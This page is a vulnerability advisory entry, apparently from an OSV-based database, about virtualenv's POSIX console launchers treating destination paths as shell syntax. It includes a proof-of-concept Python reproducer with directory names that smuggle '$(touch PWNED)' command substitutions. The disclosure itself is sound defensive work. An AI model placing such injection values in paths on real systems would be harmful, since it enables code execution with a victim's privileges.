BREW-VIRTUALFISH-CVE-202… (GHSA-C978-59M8-C77V)
Vulnerability from osv_homebrew – Published: 2026-10-22 09:00 – Updated: 2026-10-22 09:00 – Source websiteSummary
A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper.
Affected area
POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path.
Attacker-controlled input
An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.
Affected code
The relevant 21.14.8 source is in ScriptMakerCustom.
Mechanism
The app-data seeder passes the environment's interpreter path through enquote_executable() to distlib's ScriptMaker.
It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path
has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like
'''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same
wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and
activation do not trigger the shell payload.
Reproduction and evidence
The scanner created three environments: a control under my -touch PWNED- project, one under
my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was
created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the
control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the
generated launcher, with the user's privileges, rather than during seeding.
The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. PR #3417 quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately.
Attack sequence
sequenceDiagram
participant A as Destination supplier
participant V as virtualenv seeder
participant D as distlib ScriptMaker
participant S as Generated bin/pip
participant U as User
A->>V: path contains $(touch PWNED)
V->>D: pass interpreter path with incomplete shell quoting
D->>S: write /bin/sh wrapper
Note over V,S: no payload runs during creation or activation
U->>S: pip --version
S->>S: shell expands path and runs touch
S-->>U: PWNED appears with user's privileges
Reproducer files
The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path
WORK = Path("/tmp/repro-console-script")
# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
"CONTROL": "my -touch PWNED- project",
"OBSERVED": "my $(touch PWNED) project",
# no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
"OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}
shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
# the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
cwd = WORK / label / "cwd"
venv = WORK / label / name / "venv"
cwd.mkdir(parents=True)
# set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
assert list(cwd.iterdir()) == [], "environment creation must not have created anything"
# trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
pip_printed[label] = pip.stdout
created_by_pip[label] = sorted(p.name for p in cwd.iterdir())
launcher = (venv / "bin" / "pip").read_text().splitlines()
print(f"{label}: directory name {name!r}")
print(f" bin/pip line 1: {launcher[0]}")
print(f" bin/pip line 2: {launcher[1]}")
print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
print(f" files bin/pip created in the working directory: {created_by_pip[label]}")
# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")
Fix scope and remaining exposure
PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib.
A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer.
Impact
Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's
generated-script precedent. The vector
assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are
required; successful command execution can affect the user's data and processes.
Versions tested
The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.
Known mitigation
Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.6",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "virtualfish",
"purl": "pkg:brew/virtualfish"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.6",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.6"
}
]
},
"details": "## Summary\n\nA destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The\napp-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not\npreserve it as literal data in the shell wrapper.\n\n## Affected area\n\nPOSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.\nWindows executable launchers are not affected by this path.\n\n## Attacker-controlled input\n\nAn attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a\ngenerated launcher. The attacker does not need to modify an installed executable or control the user\u0027s app-data cache.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nThe app-data seeder passes the environment\u0027s interpreter path through `enquote_executable()` to distlib\u0027s `ScriptMaker`.\nIt adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path\nhas a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like\n`\u0027\u0027\u0027exec\u0027 \"\u003cpath\u003e\" \"$0\" \"$@\"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same\nwrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and\nactivation do not trigger the shell payload.\n\n## Reproduction and evidence\n\nThe scanner created three environments: a control under `my -touch PWNED- project`, one under\n`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was\ncreated without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the\ncontrol created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the\ngenerated launcher, with the user\u0027s privileges, rather than during seeding.\n\nThe report dates the app-data seeder\u0027s distlib launcher integration to #1579, first released in 20.0.2.\n[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and\nrepairs launchers written by the pip seeder. Pip\u0027s own distlib can write a vulnerable wrapper again during a later pip\ninstall or upgrade; the proposed virtualenv fix does not change pip\u0027s vendored code. The maintainer-provided follow-up\nreview reports that later path separately.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant V as virtualenv seeder\n participant D as distlib ScriptMaker\n participant S as Generated bin/pip\n participant U as User\n A-\u003e\u003eV: path contains $(touch PWNED)\n V-\u003e\u003eD: pass interpreter path with incomplete shell quoting\n D-\u003e\u003eS: write /bin/sh wrapper\n Note over V,S: no payload runs during creation or activation\n U-\u003e\u003eS: pip --version\n S-\u003e\u003eS: shell expands path and runs touch\n S--\u003e\u003eU: PWNED appears with user\u0027s privileges\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/repro-console-script\")\n\n# The attacker\u0027s whole input: the name of a directory above the environment (a repository, a project folder).\nDIRECTORY_NAMES = {\n \"CONTROL\": \"my -touch PWNED- project\",\n \"OBSERVED\": \"my $(touch PWNED) project\",\n # no space: distlib also picks the /bin/sh launcher once \"#!\u003cdest\u003e/bin/python\" is longer than 127 bytes\n \"OBSERVED_LONG\": \"p\" * 120 + \"$(touch${IFS}PWNED)\",\n}\n\nshutil.rmtree(WORK, ignore_errors=True)\npip_printed = {}\ncreated_by_pip = {}\nfor label, name in DIRECTORY_NAMES.items():\n # the payload can hold no \"/\", so it touches a relative PWNED: each case gets its own empty working directory\n cwd = WORK / label / \"cwd\"\n venv = WORK / label / name / \"venv\"\n cwd.mkdir(parents=True)\n\n # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)\n subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", str(venv)], cwd=cwd, check=True)\n assert list(cwd.iterdir()) == [], \"environment creation must not have created anything\"\n\n # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip\u0027s own\n pip = subprocess.run([venv / \"bin\" / \"pip\", \"--version\"], cwd=cwd, capture_output=True, text=True)\n pip_printed[label] = pip.stdout\n created_by_pip[label] = sorted(p.name for p in cwd.iterdir())\n\n launcher = (venv / \"bin\" / \"pip\").read_text().splitlines()\n print(f\"{label}: directory name {name!r}\")\n print(f\" bin/pip line 1: {launcher[0]}\")\n print(f\" bin/pip line 2: {launcher[1]}\")\n print(f\" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}\")\n print(f\" files bin/pip created in the working directory: {created_by_pip[label]}\")\n\n# check: a directory name is data; starting pip must run pip and nothing else\ncontrol_ok = pip_printed[\"CONTROL\"].startswith(\"pip \") and created_by_pip[\"CONTROL\"] == []\nattack_ran = created_by_pip[\"OBSERVED\"] == [\"PWNED\"] and created_by_pip[\"OBSERVED_LONG\"] == [\"PWNED\"]\nprint(\"BUG\" if control_ok and attack_ran else \"OK\")\n```\n\n## Fix scope and remaining exposure\n\nPR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The\npip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip\u0027s\nvendored distlib.\n\nA later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing\nlaunchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to\nregenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.\nThe follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are\nattributed to the reviewer.\n\n## Impact\n\nRunning an affected launcher can execute commands with the calling user\u0027s privileges. Classification: high, CVSS 7.8,\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, following the project\u0027s\n[generated-script precedent](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The vector\nassumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are\nrequired; successful command execution can affect the user\u0027s data and processes.\n\n## Versions tested\n\nThe maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review\nrecords reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are\nunchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse an environment destination chosen by a trusted user. For older releases, avoid generating\nenvironments at destinations derived from untrusted input.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-5DZVLGL1.",
"id": "BREW-virtualfish-CVE-2026-113722",
"modified": "2026-10-22T09:00:09Z",
"published": "2026-10-22T09:00:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113722"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3417"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax",
"upstream": [
"GHSA-c978-59m8-c77v",
"CVE-2026-113722"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.